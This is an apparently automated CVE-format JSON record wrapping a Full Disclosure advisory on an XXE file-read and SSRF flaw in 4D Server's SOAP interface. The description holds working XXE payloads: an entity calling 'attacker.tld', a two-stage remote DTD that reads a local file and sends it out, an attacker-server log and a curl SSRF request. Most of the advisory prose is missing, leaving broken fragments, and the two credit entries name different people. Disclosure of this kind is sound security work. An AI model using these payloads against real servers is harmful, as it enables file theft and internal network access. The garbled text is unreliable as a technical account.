Find a vulnerability

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SCHUTZWERK-SA-2024-002 Arbitrary File",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "David Brown via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nSOAP\n===============================================================================================\n\n\nservices.\n\nMetadata\n========\n\n- - Affected product: 4D Server\n- - Affected version: v20 R3\n- - Vendor: 4D\n\n- - CVE ID: CVE-2024-39847\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-39847\n- - CVSS 4.0 score: 8.7\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/\n\nDetails\n=======\n\n\n4D Server.\n\n\n\n\u003c!DOCTYPE foo [\n \u003c!ENTITY % test SYSTEM \"http://attacker.tld\";\u003e\n %test;\n]\u003e\n\n\n\"Reject SOAP-Requests\" is set in the 4D Server GUI.\n\n\ncontrolled server, and can be demonstrated using the following payloads:\n\nStage 1: XML body sent to the /4DSOAP endpoint\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY % stage1 SYSTEM \"http://192.168.56.1:2121/stage.dtd\";\u003e\n  %stage1;\n]\u003e\n\nStage 2: DTD file returned by http://192.168.56.1:2121/stage.dtd\n\n\u003c!ENTITY % fileb SYSTEM \"file:///c:\\Users\\john.doe\\Desktop\\secret.txt\"\u003e\n\u003c!ENTITY % eval \"\u003c!ENTITY \u0026#x25; exfiltrate SYSTEM \u0027%fileb;\u0027\u003e\"\u003e\n%eval;\n%exfiltrate;\n\nServer response for the request sent to the /4DSOAP endpoint:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n        \u003cSOAP-ENV:Fault\u003e\n                \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n\u003c/faultstring\u003e\n        \u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\nRequests sent to the attacker controlled server (192.168.56.1:2121):\n\n192.168.56.114 - - \"GET /stage.dtd HTTP/1.1\" 200 -\n\n\n\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n        \u003cSOAP-ENV:Fault\u003e\n                \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n- - http:/secret.tld/bar\u0027\n\u003c/faultstring\u003e\n        \u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\n\nspecific SOAP functions accepting data tags.\n\n\nport 1337. Once started, files can be requested by issuing a GET request to\n\nhttp://127.0.0.1:1337/\u003ctarget URI\u003e\n\n\n\n$ curl \u0027127.0.0.1:1337/http://192.168.56.114\u0026apos;\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n        \u003cSOAP-ENV:Fault\u003e\n                \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n\n\u003chtml\u003e\n[...]\n      \u003ctd class=\"grayborder\"\u003e\n        \u003ch2 align=\"center\"\u003eWelcome to your 4D Web Server default home\n          page!\u003c/h2\u003e\n        \u003cp align=\"center\"\u003eThis is the \u003cstrong\u003e\u003cb\u003e4D Web Server\u003c/b\u003e\u003c/strong\u003e\n\n          Application.\u003c/p\u003e\n\n          home page.\u003c/p\u003e\n        \u003cp align=\"center\"\u003eInstructions for configuring your 4D Web\n          Server can be found in the included documentation.\u003c/p\u003e\n\n          All rights reserved.\u003c/p\u003e\n       \u003c/td\u003e\n[...]\n\u003c/html\u003e\n\u0027\n\u003c/faultstring\u003e\n\u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\n\nperform \"proxied\" HTTP requests.\n\nRisk\n====\n\n\nhash.\n\nSolution/Mitigation\n===================\n\nUpdate to 4D Server 20 R7 or higher.\n\nTimeline\n========\n\n- - 2024-06-17 Vulnerability discovered\n- - 2024-06-24 Attempt to contact vendor, no response received\n- - 2024-06-25 CVE ID requested\n- - 2024-06-29 CVE-2024-39847 assigned\n- - 2024-07-04 Attempt to contact vendor again, no response received\n- - 2024-07-09 Attempt to contact vendor again, no response received\n- - 2024-07-16 Attempt to contact vendor again, no response received\n- - 2024-07-22 Attempt to contact vendor again, no response received\n- - 2026-04-29 Advisory published\n\nCredits\n=======\n\nThe vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n[0] https://4d.com\n[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py\n[2] https://flask.palletsprojects.com/en/stable/\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnyGKIaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrs6TQ//Vp4Ts1sg8wUOx5V46ttU\nOkErEUSrMqHDCrxiLKLsYoBBXyqPB+oKLzWFkMTUxbq+W7aqJIVG6EMeBsu1FCae\n0JfGA0MYYJ4s7WcphN/QqqU+e35r0NfPAzcKlr861ZNcwcy9vbg/WP+z1AlTfH9X\nMBKtv4Z2R1xpFq2sAJnwOw3E7Cl5g40PSsTJhI52/O7M4K5rB14EjFXW/hHgSFNz\nESUI+o/U1t7nPDulxfSsVmvbDTuvmxrs1xM/ulMYoKFKSueEglNCmF+5i/lFs7LF\nrM0PZLGCbMR9z2NOeEk+dGwCztXpY2KN1KvPWYt4flvxZzlnWFWCzrVog8QdDhbV\nCAfeLi+5krzgsZIPfphYpHc2BYJdAGsHDZx76GxoMNi8/miHX15+vg3N7SBPopOG\naIWnPJX0LCoecdzELJhzpOSYpzLTurRKnPU6y4sa/gJN4K99gCbE2HpPIJRaJmJG\nhk7iwTUA11ijiEWpKCWX3hE3dhxY9WgKKoKe/CtGZkaEoEa1ePTPUFWhiwORpSsa\nAV3i7YZOgjBiEj4ffBfy+Z/3fHhR7S3fWpFUhWeyb2jjx6OuJSG4g9az6Uze0hZG\nvYn40CIpG2sHlm1PzQBzMUopqjmaW+FMyLgv8XOsnfdqg7UqPJ0LKmNAtafO1tVo\nHH0qazSkyWNwZlaLr5YYUso=\n=MhKk\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGesch\u00e4ftsf\u00fchrer / Managing Directors:\nJakob Pietzka, Michael Sch\u00e4fer\n\nAmtsgericht Ulm /  HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/0"
        },
        {
          "url": "http://127.0.0.1:1337/"
        },
        {
          "url": "http://192.168.56.114\u0026apos"
        },
        {
          "url": "http://192.168.56.1:2121/stage.dtd"
        },
        {
          "url": "http://192.168.56.1:2121/stage.dtd\""
        },
        {
          "url": "http://attacker.tld\""
        },
        {
          "url": "https://4d.com"
        },
        {
          "url": "https://flask.palletsprojects.com/en/stable/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-39847"
        },
        {
          "url": "https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py"
        },
        {
          "url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SCHUTZWERK-SA-2024-002: Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server SOAP (CVE-2024-39847)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2024-39847",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0249",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/0",
            "automated": true,
            "contentSha256": "7acb3fb14dc45d336373174c37e25480ae13673627c91b3039f20ae86d2284d2",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-30T07:16:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0249"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0249"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}